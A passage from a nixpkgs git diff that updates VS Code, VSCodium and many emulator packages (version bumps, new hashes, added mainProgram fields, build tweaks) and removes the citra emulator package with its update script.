"x-scheme-handler/vscode" ]; + mimeTypes = [ "x-scheme-handler/vs${executableName}" ]; keywords = [ "vscode" ]; noDisplay = true; }; diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix index 976475238b639..aac9e1b72fdcb 100644 --- a/pkgs/applications/editors/vscode/vscode.nix +++ b/pkgs/applications/editors/vscode/vscode.nix @@ -30,21 +30,21 @@ let archive_fmt = if stdenv.isDarwin then "zip" else "tar.gz"; sha256 = { - x86_64-linux = "0nffz9xqm1iny7sqi1pkmnfcski15qsycw9gxir18j51kfzz50wf"; - x86_64-darwin = "082m2wwd67ayjadlywqimnmdm8imw6lz0rd8rnwjd2sjksxnrsk8"; - aarch64-linux = "0wlm8ajm1xw8lpmnbkzkgvaakfa9gacwi7m2fdyc4822rq7fn09b"; - aarch64-darwin = "1rgcljj97f551yr0q5f0vxdkvbhxrbyqrw85gb6qfxpg5d0l7y4f"; - armv7l-linux = "1wpslrysi8a6rnx99lq16zx277lnmqjp02q6gxmkpcvrvw27m6yj"; + x86_64-linux = "17fzqq44p7ix4ihkg8nq582njjy96a8zz8vz9hl62hdxxg3llgfg"; + x86_64-darwin = "12vbkzv2l02wifcjd7amq583vlv0iqixpa2kf5swhl0arww1viqa"; + aarch64-linux = "1myv8zy2cycsmnp8xhjbm2lpcad3hj9zh79ywcinc50yncwj6wdl"; + aarch64-darwin = "0vvbwcbxf0fmcfyk2y231qd8lxaj869ap865zps6wcdjqr5wnbdq"; + armv7l-linux = "04gy6ls3gnbdcg4998widy9b9h04rx1gzp6iml6pi73li1cmfawz"; }.${system} or throwSystem; in callPackage ./generic.nix rec { # Please backport all compatible updates to the stable release. # This is important for the extension ecosystem. - version = "1.86.1"; + version = "1.86.2"; pname = "vscode" + lib.optionalString isInsiders "-insiders"; # This is used for VS Code - Remote SSH test - rev = "31c37ee8f63491495ac49e43b8544550fbae4533"; + rev = "903b1e9d8990623e3d7da1df3d33db3e42d80eda"; executableName = "code" + lib.optionalString isInsiders "-insiders"; longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders"; @@ -68,7 +68,7 @@ in src = fetchurl { name = "vscode-server-${rev}.tar.gz"; url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable"; - sha256 = "1hq6i51d1dhpippc8gmhygw3kj9cx021y54ga58l5b80wvg2cf1y"; + sha256 = "06jv2kzxy7p7y7294c4sq6fk6slwk4gfw6jqh79avnq0riy669gv"; }; }; diff --git a/pkgs/applications/editors/vscode/vscodium.nix b/pkgs/applications/editors/vscode/vscodium.nix index ab9a5b51ee2c5..22f4ec88118cd 100644 --- a/pkgs/applications/editors/vscode/vscodium.nix +++ b/pkgs/applications/editors/vscode/vscodium.nix @@ -15,11 +15,11 @@ let archive_fmt = if stdenv.isDarwin then "zip" else "tar.gz"; sha256 = { - x86_64-linux = "0nd9hipz1jhjdv6hrm6q2jpppanh8nmkpy9zpayymy4dwif8a49q"; - x86_64-darwin = "1fk146dikiy8dab83v4j6jrnzdg8dxnjvwmdddif130jrpxsp875"; - aarch64-linux = "0zqm8zl3vhisp6rlb2vhc2i0z4rln38858l07r70jr76zxbbs5xv"; - aarch64-darwin = "0i0bsrygdg2ij3wf0jm9n6fci5zrghnvzdw0p528c08rjgkhrmrb"; - armv7l-linux = "0h0v5irf23ijn21j4sll2ynj12wclm17bh46s1dlpzy73f4h17jb"; + x86_64-linux = "0pz2dn245jzjw2n79mm9angvdlwlwxb4lwdq8za1i99g2m4il1bz"; + x86_64-darwin = "0d0ivs672zh7w60pxy95awq7c8gxhs7d8wv5cf25289gnzcd6qff"; + aarch64-linux = "1srir5gr0bdvnxyqrfq00p34ligg0pppr22g9zrdm8jasvrz6fb0"; + aarch64-darwin = "046kcsanz5msf5xd94b1lxcwclsp3dcwxgzrcxycbsykxslz9gpq"; + armv7l-linux = "0h576q3jbdy48bvg4h9swd2w7cynxmnm2klj6p719myigx7h2jzg"; }.${system} or throwSystem; sourceRoot = lib.optionalString (!stdenv.isDarwin) "."; @@ -29,7 +29,7 @@ in # Please backport all compatible updates to the stable release. # This is important for the extension ecosystem. - version = "1.85.2.24019"; + version = "1.86.2.24057"; pname = "vscodium"; executableName = "codium"; diff --git a/pkgs/applications/emulators/86box/default.nix b/pkgs/applications/emulators/86box/default.nix index 3083f2dccbe16..93b95b4c2b7c3 100644 --- a/pkgs/applications/emulators/86box/default.nix +++ b/pkgs/applications/emulators/86box/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "86Box"; - version = "4.0.1"; + version = "4.1"; src = fetchFromGitHub { owner = "86Box"; repo = "86Box"; rev = "v${version}"; - hash = "sha256-1005Czm4CftL96G0+sKV1wx/ogXTKS0vQAzZHtIMlKA="; + hash = "sha256-JYOJFXiUTLRs6AEMYNx88PwcVw13ChQzV1ZE5OtX6Ds="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/emulators/attract-mode/default.nix b/pkgs/applications/emulators/attract-mode/default.nix index 0bd1b4b062ab3..9173faf7fe5bb 100644 --- a/pkgs/applications/emulators/attract-mode/default.nix +++ b/pkgs/applications/emulators/attract-mode/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ hrdinka ]; platforms = with platforms; linux; + mainProgram = "attract"; }; } diff --git a/pkgs/applications/emulators/basiliskii/default.nix b/pkgs/applications/emulators/basiliskii/default.nix index 8546b9c4087f3..a81f50b542113 100644 --- a/pkgs/applications/emulators/basiliskii/default.nix +++ b/pkgs/applications/emulators/basiliskii/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl2; maintainers = with maintainers; [ quag ]; platforms = platforms.linux; + mainProgram = "BasiliskII"; }; }) diff --git a/pkgs/applications/emulators/bsnes/ares/default.nix b/pkgs/applications/emulators/bsnes/ares/default.nix index 25d2126ac34c0..b3d362cd11aa5 100644 --- a/pkgs/applications/emulators/bsnes/ares/default.nix +++ b/pkgs/applications/emulators/bsnes/ares/default.nix @@ -22,13 +22,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "ares"; - version = "135"; + version = "136"; src = fetchFromGitHub { owner = "ares-emulator"; repo = "ares"; rev = "v${finalAttrs.version}"; - hash = "sha256-SZhsMKjNxmT2eHsXAZcyMGoMhwWGgvXpDeZGGVn58Sc="; + hash = "sha256-Hks/MWusPiBVdb5L+53qtR6VmXG/P4rDzsvHxLeA8Do="; }; patches = [ diff --git a/pkgs/applications/emulators/bsnes/higan/default.nix b/pkgs/applications/emulators/bsnes/higan/default.nix index 44aba6d4a9e02..0b9eb51d3baf8 100644 --- a/pkgs/applications/emulators/bsnes/higan/default.nix +++ b/pkgs/applications/emulators/bsnes/higan/default.nix @@ -1,8 +1,8 @@ { lib -, stdenv -, fetchFromGitHub , SDL2 , alsa-lib +, darwin +, fetchFromGitHub , gtk3 , gtksourceview3 , libGL @@ -10,26 +10,25 @@ , libX11 , libXv , libao +, libicns , libpulseaudio , openal , pkg-config , runtimeShell +, stdenv , udev -# Darwin dependencies -, libicns -, darwin , unstableGitUpdater }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "higan"; - version = "115-unstable-2023-11-13"; + version = "115-unstable-2024-02-17"; src = fetchFromGitHub { owner = "higan-emu"; repo = "higan"; - rev = "993368d917cb750107390effe2cd394ba8710208"; - hash = "sha256-D21DFLnYl2J4JhwmVmEKHhtglZWxVBrl/kOcvxJYbnA="; + rev = "ba4b918c0bbcc302e0d5d2ed70f2c56214d62681"; + hash = "sha256-M8WaPrOPSRKxhYcf6ffNkDzITkCltNF9c/zl0GmfJrI="; }; nativeBuildInputs = [ @@ -71,14 +70,34 @@ stdenv.mkDerivation rec { enableParallelBuilding = true; - buildPhase = '' + buildPhase = let + platform = + if stdenv.isLinux + then "linux" + else if stdenv.isDarwin + then "macos" + else if stdenv.isBSD + then "bsd" + else if stdenv.isWindows + then "windows" + else throw "Unknown platform for higan: ${stdenv.hostPlatform.system}"; + in '' runHook preBuild - make -j $NIX_BUILD_CORES compiler=${stdenv.cc.targetPrefix}c++ \ - platform=linux openmp=true hiro=gtk3 build=accuracy local=false \ - cores="cv fc gb gba md ms msx ngp pce sfc sg ws" -C higan-ui - make -j $NIX_BUILD_CORES compiler=${stdenv.cc.targetPrefix}c++ \ - platform=linux openmp=true hiro=gtk3 -C icarus + make -C higan-ui -j$NIX_BUILD_CORES \ + compiler=${stdenv.cc.targetPrefix}c++ \ + platform=${platform} \ + openmp=true \ + hiro=gtk3 \ + build=accuracy \ + local=false \ + cores="cv fc gb gba md ms msx ngp pce sfc sg ws" + + make -C icarus -j$NIX_BUILD_CORES \ + compiler=${stdenv.cc.targetPrefix}c++ \ + platform=${platform} \ + openmp=true \ + hiro=gtk3 runHook postBuild ''; @@ -154,5 +173,5 @@ stdenv.mkDerivation rec { platforms = platforms.unix; broken = stdenv.isDarwin; }; -} -# TODO: select between Qt, GTK2 and GTK3 +}) +# TODO: select between Qt and GTK3 diff --git a/pkgs/applications/emulators/caprice32/default.nix b/pkgs/applications/emulators/caprice32/default.nix index 6c2932f7e10ba..7a4f4b1ab4aed 100644 --- a/pkgs/applications/emulators/caprice32/default.nix +++ b/pkgs/applications/emulators/caprice32/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ ]; platforms = platforms.linux; + mainProgram = "cap32"; }; } diff --git a/pkgs/applications/emulators/ccemux/default.nix b/pkgs/applications/emulators/ccemux/default.nix index 9464c1f4575f7..8e00b8281efa2 100644 --- a/pkgs/applications/emulators/ccemux/default.nix +++ b/pkgs/applications/emulators/ccemux/default.nix @@ -64,5 +64,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.mit; maintainers = with maintainers; [ CrazedProgrammer viluon ]; + mainProgram = "ccemux"; }; } diff --git a/pkgs/applications/emulators/cemu/default.nix b/pkgs/applications/emulators/cemu/default.nix index 055949bb3b75f..6e0db9e02c9f3 100644 --- a/pkgs/applications/emulators/cemu/default.nix +++ b/pkgs/applications/emulators/cemu/default.nix @@ -1,5 +1,4 @@ { lib, stdenv, fetchFromGitHub -, fetchpatch , addOpenGLRunpath , wrapGAppsHook , cmake @@ -32,15 +31,28 @@ , nix-update-script }: -stdenv.mkDerivation rec { +let + # cemu doesn't build with imgui 1.90.2 or newer: + # error: 'struct ImGuiIO' has no member named 'ImeWindowHandle' + imgui' = imgui.overrideAttrs rec { + version = "1.90.1"; + src = fetchFromGitHub { + owner = "ocornut"; + repo = "imgui"; + rev = "v${version}"; + sha256 = "sha256-gf47uLeNiXQic43buB5ZnMqiotlUfIyAsP+3H7yJuFg="; + }; + }; + +in stdenv.mkDerivation rec { pname = "cemu"; - version = "2.0-65"; + version = "2.0-66"; src = fetchFromGitHub { owner = "cemu-project"; repo = "Cemu"; rev = "v${version}"; - hash = "sha256-jsDmxol3zZMmpo4whDeUXTzfO+QVK/h6lItXTyJyoak="; + hash = "sha256-1s1H2rJuN9lRNanKXxKWMLBOFg5z3IwpJCZCmymAH9Y="; }; patches = [ @@ -48,13 +60,6 @@ stdenv.mkDerivation rec { # > The following imported targets are referenced, but are missing: # > SPIRV-Tools-opt ./cmakelists.patch - - # Remove on next release - # https://github.com/cemu-project/Cemu/pull/1076 - (fetchpatch { - url = "https://github.com/cemu-project/Cemu/commit/72aacbdcecc064ea7c3b158c433e4803496ac296.patch"; - hash = "sha256-x+ZVqXgGRSv0VYwJAX35C1p7PnmCHS7iEO+4k8j0/ug="; - }) ]; nativeBuildInputs = [ @@ -75,7 +80,7 @@ stdenv.mkDerivation rec { glm gtk3 hidapi - imgui + imgui' libpng libusb1 libzip @@ -103,7 +108,7 @@ stdenv.mkDerivation rec { tag = last (splitString "-" version); in '' rm -rf dependencies/imgui - ln -s ${imgui}/include/imgui dependencies/imgui + ln -s ${imgui'}/include/imgui dependencies/imgui substituteInPlace src/Common/version.h --replace " (experimental)" "-${tag} (experimental)" substituteInPlace dependencies/gamemode/lib/gamemode_client.h --replace "libgamemode.so.0" "${gamemode.lib}/lib/libgamemode.so.0" ''; diff --git a/pkgs/applications/emulators/cen64/default.nix b/pkgs/applications/emulators/cen64/default.nix index bd7c84402cfd6..e13adbb71de82 100644 --- a/pkgs/applications/emulators/cen64/default.nix +++ b/pkgs/applications/emulators/cen64/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/n64dev/cen64"; maintainers = [ maintainers._414owen ]; platforms = [ "x86_64-linux" ]; + mainProgram = "cen64"; }; } diff --git a/pkgs/applications/emulators/citra/default.nix b/pkgs/applications/emulators/citra/default.nix deleted file mode 100644 index a4e4578632aef..0000000000000 --- a/pkgs/applications/emulators/citra/default.nix +++ /dev/null @@ -1,45 +0,0 @@ -{ branch -, qt6Packages -, fetchFromGitHub -, fetchurl -}: - -let - # Fetched from https://api.citra-emu.org/gamedb - # Please make sure to update this when updating citra! - compat-list = fetchurl { - name = "citra-compat-list"; - url = "https://web.archive.org/web/20231111133415/https://api.citra-emu.org/gamedb"; - hash = "sha256-J+zqtWde5NgK2QROvGewtXGRAWUTNSKHNMG6iu9m1fU="; - }; -in { - nightly = qt6Packages.callPackage ./generic.nix rec { - pname = "citra-nightly"; - version = "2088"; - - src = fetchFromGitHub { - owner = "citra-emu"; - repo = "citra-nightly"; - rev = "nightly-${version}"; - sha256 = "0l9w4i0zbafcv2s6pd1zqb11vh0i7gzwbqnzlz9al6ihwbsgbj3k"; - fetchSubmodules = true; - }; - - inherit branch compat-list; - }; - - canary = qt6Packages.callPackage ./generic.nix rec { - pname = "citra-canary"; - version = "2766"; - - src = fetchFromGitHub { - owner = "citra-emu"; - repo = "citra-canary"; - rev = "canary-${version}"; - sha256 = "1gm3ajphpzwhm3qnchsx77jyl51za8yw3r0j0h8idf9y1ilcjvi4"; - fetchSubmodules = true; - }; - - inherit branch compat-list; - }; -}.${branch} diff --git a/pkgs/applications/emulators/citra/generic.nix b/pkgs/applications/emulators/citra/generic.nix deleted file mode 100644 index c167aef7e7743..0000000000000 --- a/pkgs/applications/emulators/citra/generic.nix +++ /dev/null @@ -1,147 +0,0 @@ -{ pname -, version -, src -, branch -, compat-list - -, lib -, stdenv -, cmake -, boost -, pkg-config -, catch2_3 -, cpp-jwt -, cryptopp -, enet -, ffmpeg -, fmt -, gamemode -, glslang -, httplib -, inih -, libusb1 -, nlohmann_json -, openal -, openssl -, SDL2 -, soundtouch -, spirv-tools -, zstd -, vulkan-headers -, vulkan-loader -, enableSdl2Frontend ? true -, enableQt ? true, qtbase, qtmultimedia, qtwayland, wrapQtAppsHook -, enableQtTranslation ? enableQt, qttools -, enableWebService ? true -, enableCubeb ? true, cubeb -, useDiscordRichPresence ? true, rapidjson -}: -stdenv.mkDerivation { - inherit pname version src; - - nativeBuildInputs = [ - cmake - pkg-config - ffmpeg - glslang - ] ++ lib.optionals enableQt [ wrapQtAppsHook ]; - - buildInputs = [ - boost - catch2_3 - cpp-jwt - cryptopp - # intentionally omitted: dynarmic - prefer vendored version for compatibility - enet - fmt - httplib - inih - libusb1 - nlohmann_json - openal - openssl - SDL2 - soundtouch - spirv-tools - vulkan-headers - # intentionally omitted: xbyak - prefer vendored version for compatibility - zstd - ] ++ lib.optionals enableQt [ qtbase qtmultimedia qtwayland ] - ++ lib.optional enableQtTranslation qttools - ++ lib.optional enableCubeb cubeb - ++ lib.optional useDiscordRichPresence rapidjson; - - cmakeFlags = [ - "-DUSE_SYSTEM_LIBS=ON" - - "-DDISABLE_SYSTEM_DYNARMIC=ON" - "-DDISABLE_SYSTEM_GLSLANG=ON" # The following imported targets are referenced, but are missing: SPIRV-Tools-opt - "-DDISABLE_SYSTEM_LODEPNG=ON" # Not packaged in nixpkgs - "-DDISABLE_SYSTEM_VMA=ON" - "-DDISABLE_SYSTEM_XBYAK=ON" - - # We don't want to bother upstream with potentially outdated compat reports - "-DCITRA_ENABLE_COMPATIBILITY_REPORTING=ON" - "-DENABLE_COMPATIBILITY_LIST_DOWNLOAD=OFF" # We provide this deterministically - ] ++ lib.optional (!enableSdl2Frontend) "-DENABLE_SDL2_FRONTEND=OFF" - ++ lib.optional (!enableQt) "-DENABLE_QT=OFF" - ++ lib.optional enableQtTranslation "-DENABLE_QT_TRANSLATION=ON" - ++ lib.optional (!enableWebService) "-DENABLE_WEB_SERVICE=OFF" - ++ lib.optional (!enableCubeb) "-DENABLE_CUBEB=OFF" - ++ lib.optional useDiscordRichPresence "-DUSE_DISCORD_PRESENCE=ON"; - - # causes redefinition of _FORTIFY_SOURCE - hardeningDisable = [ "fortify3" ]; - - postPatch = let - branchCaptialized = (lib.toUpper (lib.substring 0 1 branch) + lib.substring 1 (-1) branch); - in '' - # Fix file not found when looking in var/empty instead of opt - mkdir externals/dynarmic/src/dynarmic/ir/var - ln -s ../opt externals/dynarmic/src/dynarmic/ir/var/empty - - # Prep compatibilitylist - ln -s ${compat-list} ./dist/compatibility_list/compatibility_list.json - - # We already know the submodules are present - substituteInPlace CMakeLists.txt \ - --replace "check_submodules_present()" "" - - # Add versions - echo 'set(BUILD_FULLNAME "${branchCaptialized} ${version}")' >> CMakeModules/GenerateBuildInfo.cmake - - # Add gamemode - substituteInPlace externals/gamemode/include/gamemode_client.h --replace "libgamemode.so.0" "${lib.getLib gamemode}/lib/libgamemode.so.0" - ''; - - postInstall = let - libs = lib.makeLibraryPath [ vulkan-loader ]; - in lib.optionalString enableSdl2Frontend '' - wrapProgram "$out/bin/citra" \ - --prefix LD_LIBRARY_PATH : ${libs} - '' + lib.optionalString enableQt '' - qtWrapperArgs+=( - --prefix LD_LIBRARY_PATH : ${libs} - ) - ''; - - meta = with lib; { - broken = (stdenv.isLinux && stdenv.isAarch64); - homepage = "https://citra-emu.org"; - description = "The ${branch} branch of an open-source emulator for the Nintendo 3DS"; - longDescription = '' - A Nintendo 3DS Emulator written in C++ - Using the nightly branch is recommended for general usage. - Using the canary branch is recommended if you would like to try out - experimental features, with a cost of stability. - ''; - mainProgram = if enableQt then "citra-qt" else "citra"; - platforms = platforms.linux; - license = licenses.gpl2Plus; - maintainers = with maintainers; [ - abbradar - ashley - ivar - ]; - }; -} diff --git a/pkgs/applications/emulators/citra/update.sh b/pkgs/applications/emulators/citra/update.sh deleted file mode 100755 index e76121dac6ee4..0000000000000 --- a/pkgs/applications/emulators/citra/update.sh +++ /dev/null @@ -1,84 +0,0 @@ -#! /usr/bin/env nix-shell -#! nix-shell -i bash -p nix nix-prefetch-git coreutils curl jq gnused - -set -euo pipefail - -# Will be replaced with the actual branch when running this from passthru.updateScript -BRANCH="@branch@" - -if [[ ! "$(basename $PWD)" = "citra" ]]; then - echo "error: Script must be ran from citra's directory!" - exit 1 -fi - -getLocalVersion() { - pushd ../../../.. >/dev/null - nix eval --raw -f default.nix "$1".version - popd >/dev/null -} - -getLocalHash() { - pushd ../../../.. >/dev/null - nix eval --raw -f default.nix "$1".src.drvAttrs.outputHash - popd >/dev/null -} - -updateNightly() { - OLD_NIGHTLY_VERSION="$(getLocalVersion "citra-nightly")" - OLD_NIGHTLY_HASH="$(getLocalHash "citra-nightly")" - - NEW_NIGHTLY_VERSION="$(curl -s ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} \ - "https://api.github.com/repos/citra-emu/citra-nightly/releases?per_page=1" | jq -r '.[0].name' | cut -d"-" -f2 | cut -d" " -f2)" - - if [[ "${OLD_NIGHTLY_VERSION}" = "${NEW_NIGHTLY_VERSION}" ]]; then - echo "citra-nightly is already up to date!" - - [ "$KEEP_GOING" ] && return || exit - else - echo "citra-nightly: ${OLD_NIGHTLY_VERSION} -> ${NEW_NIGHTLY_VERSION}" - fi - - echo " Fetching source code..." - - NEW_NIGHTLY_HASH="$(nix-prefetch-git --quiet --fetch-submodules --rev "nightly-${NEW_NIGHTLY_VERSION}" "https://github.com/citra-emu/citra-nightly" | jq -r '.sha256')" - - echo " Successfully fetched. hash: ${NEW_NIGHTLY_HASH}" - - sed -i "s|${OLD_NIGHTLY_VERSION}|${NEW_NIGHTLY_VERSION}|" ./default.nix - sed -i "s|${OLD_NIGHTLY_HASH}|${NEW_NIGHTLY_HASH}|" ./default.nix -} - -updateCanary() { - OLD_CANARY_VERSION="$(getLocalVersion "citra-canary")" - OLD_CANARY_HASH="$(getLocalHash "citra-canary")" - - NEW_CANARY_VERSION="$(curl -s ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} \ - "https://api.github.com/repos/citra-emu/citra-canary/releases?per_page=1" | jq -r '.[0].name' | cut -d"-" -f2 | cut -d" " -f1)" - - if [[ "${OLD_CANARY_VERSION}" = "${NEW_CANARY_VERSION}" ]]; then - echo "citra-canary is already up to date!" - - [ "$KEEP_GOING" ] && return || exit - else - echo "citra-canary: ${OLD_CANARY_VERSION} -> ${NEW_CANARY_VERSION}" - fi - - echo " Fetching source code..." - - NEW_CANARY_HASH="$(nix-prefetch-git --quiet --fetch-submodules --rev "canary-${NEW_CANARY_VERSION}" "https://github.com/citra-emu/citra-canary" | jq -r '.sha256')" - - echo " Successfully fetched. hash: ${NEW_CANARY_HASH}" - - sed -i "s|${OLD_CANARY_VERSION}|${NEW_CANARY_VERSION}|" ./default.nix - sed -i "s|${OLD_CANARY_HASH}|${NEW_CANARY_HASH}|" ./default.nix -} - -if [[ "$BRANCH" = "nightly" ]]; then - updateNightly -elif [[ "$BRANCH" = "early-access" ]]; then - updateCanary -else - KEEP_GOING=1 - updateNightly - updateCanary -fi diff --git a/pkgs/applications/emulators/dolphin-emu/default.nix b/pkgs/applications/emulators/dolphin-emu/default.nix index 52a7f8a1ba6e2..f81fce6a5aa8b 100644 --- a/pkgs/applications/emulators/dolphin-emu/default.nix +++ b/pkgs/applications/emulators/dolphin-emu/default.nix @@ -32,6 +32,7 @@ , pugixml , qtbase , qtsvg +, SDL2 , sfml , udev , vulkan-loader @@ -57,13 +58,13 @@ stdenv.mkDerivation rec { pname = "dolphin-emu"; - version = "5.0-20347"; + version = "5.0-21088"; src = fetchFromGitHub { owner = "dolphin-emu"; repo = "dolphin"; - rev = "dc0814ae4622313d513468bdc377ee9c031de199"; - hash = "sha256-s3mGwXkgdoLLfPEUVyjaqXb+a5KPKC3dhHIyKC2BF1w="; + rev = "9240f579eab18a2f67eef23846a6b508393d0e6c"; + hash = "sha256-lOiDbEQZoi9Bsiyta/w+B1VXNNW4qST2cBZekqo5dDA="; fetchSubmodules = true; }; @@ -112,6 +113,7 @@ stdenv.mkDerivation rec { pugixml qtbase qtsvg + SDL2 sfml xxHash xz # LibLZMA diff --git a/pkgs/applications/emulators/dosbox-x/default.nix b/pkgs/applications/emulators/dosbox-x/default.nix index f26a128842221..c499c69e54421 100644 --- a/pkgs/applications/emulators/dosbox-x/default.nix +++ b/pkgs/applications/emulators/dosbox-x/default.nix @@ -1,7 +1,6 @@ { lib , stdenv , fetchFromGitHub -, fetchpatch , alsa-lib , AudioUnit , autoreconfHook @@ -28,30 +27,15 @@ stdenv.mkDerivation (finalAttrs: { pname = "dosbox-x"; - version = "2023.10.06"; + version = "2024.03.01"; src = fetchFromGitHub { owner = "joncampbell123"; repo = "dosbox-x"; rev = "dosbox-x-v${finalAttrs.version}"; - hash = "sha256-YNYtYqcpTOx4xS/LXI53h3S+na8JVpn4w8Dhf4fWNBQ="; + hash = "sha256-EcAp7KyqXdBACEbPgkM1INoKeGVo7hMDUx97y2RcX+k="; }; - patches = [ - # 2 patches which fix stack smashing when launching Windows 3.0 - # Remove when version > 2023.10.06 - (fetchpatch { - name = "0001-dosbox-x-Attempt-to-fix-graphical-palette-issues-added-by-TTF-fix.patch"; - url = "https://github.com/joncampbell123/dosbox-x/commit/40bf135f70376b5c3944fe2e972bdb7143439bcc.patch"; - hash = "sha256-9whtqBkivYVYaPObyTODtwcfjaoK+rLqhCNZ7zVoiGI="; - }) - (fetchpatch { - name = "0002-dosbox-x-Fix-Sid-Meiers-Civ-crash.patch"; - url = "https://github.com/joncampbell123/dosbox-x/compare/cdcfb554999572e758b81edf85a007d398626b78..ac91760d9353c301e1da382f93e596238cf6d336.patch"; - hash = "sha256-G7HbUhYEi6JJklN1z3JiOTnWLuWb27bMDyB/iGwywuY="; - }) - ]; - strictDeps = true; nativeBuildInputs = [ diff --git a/pkgs/applications/emulators/duckstation/002-hardcode-vars.diff b/pkgs/applications/emulators/duckstation/002-hardcode-vars.diff index f0b7bb67a0eed..edba33fce7ceb 100644 --- a/pkgs/applications/emulators/duckstation/002-hardcode-vars.diff +++ b/pkgs/applications/emulators/duckstation/002-hardcode-vars.diff @@ -1,5 +1,5 @@ diff --git a/src/scmversion/gen_scmversion.sh b/src/scmversion/gen_scmversion.sh -index 9c1dacab..d1f895ee 100755 +index 9122cd8..50ed8f9 100755 --- a/src/scmversion/gen_scmversion.sh +++ b/src/scmversion/gen_scmversion.sh @@ -10,10 +10,10 @@ else @@ -8,7 +8,7 @@ index 9c1dacab..d1f895ee 100755 -HASH=$(git rev-parse HEAD) -BRANCH=$(git rev-parse --abbrev-ref HEAD | tr -d '\r\n') --TAG=$(git describe --tags --dirty --exclude latest --exclude preview --exclude legacy --exclude previous-latest | tr -d '\r\n') +-TAG=$(git describe --dirty | tr -d '\r\n') -DATE=$(git log -1 --date=iso8601-strict --format=%cd) +HASH="@gitHash@" +BRANCH="@gitBranch@" diff --git a/pkgs/applications/emulators/duckstation/default.nix b/pkgs/applications/emulators/duckstation/default.nix index e7980e20dddd4..7e7bfd494600a 100644 --- a/pkgs/applications/emulators/duckstation/default.nix +++ b/pkgs/applications/emulators/duckstation/default.nix @@ -9,7 +9,7 @@ , extra-cmake-modules , libXrandr , libbacktrace -, makeDesktopItem +, makeWrapper , ninja , pkg-config , qtbase @@ -20,18 +20,17 @@ , vulkan-loader , wayland , wrapQtAppsHook -, enableWayland ? true }: stdenv.mkDerivation (finalAttrs: { pname = "duckstation"; - version = "unstable-2023-09-30"; + version = "0.1-6292"; src = fetchFromGitHub { owner = "stenzek"; repo = "duckstation"; - rev = "d5608bf12df7a7e03750cb94a08a3d7999034ae2"; - hash = "sha256-ktfZgacjkN6GQb1vLmyTZMr8QmmH12qAvFSIBTjgRSs="; + rev = "0bc42c38aab49030118f507c9783de047769148b"; + hash = "sha256-8OavixSwEWihFY2fEdsepR1lqWlTH+//xZRKwb7lFCQ="; }; patches = [ @@ -42,21 +41,19 @@ stdenv.mkDerivation (finalAttrs: { src = ./002-hardcode-vars.diff; gitHash = finalAttrs.src.rev; gitBranch = "master"; - gitTag = "0.1-5889-gd5608bf1"; - gitDate = "2023-09-30T23:20:09+10:00"; + gitTag = "${finalAttrs.version}-g0bc42c38"; + gitDate = "2024-02-06T22:47:47+09:00"; }) ]; nativeBuildInputs = [ cmake copyDesktopItems + extra-cmake-modules ninja pkg-config qttools wrapQtAppsHook - ] - ++ lib.optionals enableWayland [ - extra-cmake-modules ]; buildInputs = [ @@ -66,9 +63,6 @@ stdenv.mkDerivation (finalAttrs: { libbacktrace qtbase qtsvg - vulkan-loader - ] - ++ lib.optionals enableWayland [ qtwayland wayland ] @@ -78,21 +72,6 @@ stdenv.mkDerivation (finalAttrs: { cmakeFlags = [ (lib.cmakeBool "BUILD_TESTS" true) - (lib.cmakeBool "ENABLE_WAYLAND" enableWayland) - ]; - - desktopItems = [ - (makeDesktopItem { - name = "duckstation-qt"; - desktopName = "DuckStation"; - genericName = "PlayStation 1 Emulator"; - icon = "duckstation"; - tryExec = "duckstation-qt"; - exec = "duckstation-qt %f"; - comment = "Fast PlayStation 1 emulator"; - categories = [ "Game" "Emulator" "Qt" ]; - type = "Application"; - }) ]; doCheck = true; @@ -110,14 +89,28 @@ stdenv.mkDerivation (finalAttrs: { cp -r bin $out/share/duckstation ln -s $out/share/duckstation/duckstation-qt $out/bin/ - install -Dm644 bin/resources/images/duck.png $out/share/pixmaps/duckstation.png + install -Dm644 $src/scripts/org.duckstation.DuckStation.desktop $out/share/applications/org.duckstation.DuckStation.desktop + install -Dm644 $src/scripts/org.duckstation.DuckStation.png $out/share/pixmaps/org.duckstation.DuckStation.png runHook postInstall ''; - qtWrapperArgs = [ - "--prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath ([ vulkan-loader ] ++ cubeb.passthru.backendLibs)}" - ]; + qtWrapperArgs = + let + libPath = lib.makeLibraryPath ([ + vulkan-loader + ] ++ cubeb.passthru.backendLibs); + in [ + "--prefix LD_LIBRARY_PATH : ${libPath}" + ]; + + # https://github.com/stenzek/duckstation/blob/master/scripts/appimage/apprun-hooks/default-to-x11.sh + # Can't avoid the double wrapping, the binary wrapper from qtWrapperArgs doesn't support --run + postFixup = '' + source "${makeWrapper}/nix-support/setup-hook" + wrapProgram $out/bin/duckstation-qt \ + --run 'if [[ -z $I_WANT_A_BROKEN_WAYLAND_UI ]]; then export QT_QPA_PLATFORM=xcb; fi' + ''; meta = { homepage = "https://github.com/stenzek/duckstation"; diff --git a/pkgs/applications/emulators/emu2/default.nix b/pkgs/applications/emulators/emu2/default.nix index 7949a3f2b0518..a919d644d720c 100644 --- a/pkgs/applications/emulators/emu2/default.nix +++ b/pkgs/applications/emulators/emu2/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ AndersonTorres ]; license = licenses.gpl2Plus; + mainProgram = "emu2"; }; } diff --git a/pkgs/applications/emulators/goldberg-emu/default.nix b/pkgs/applications/emulators/goldberg-emu/default.nix index 5ff25efbf151a..7e00ad6a5d681 100644 --- a/pkgs/applications/emulators/goldberg-emu/default.nix +++ 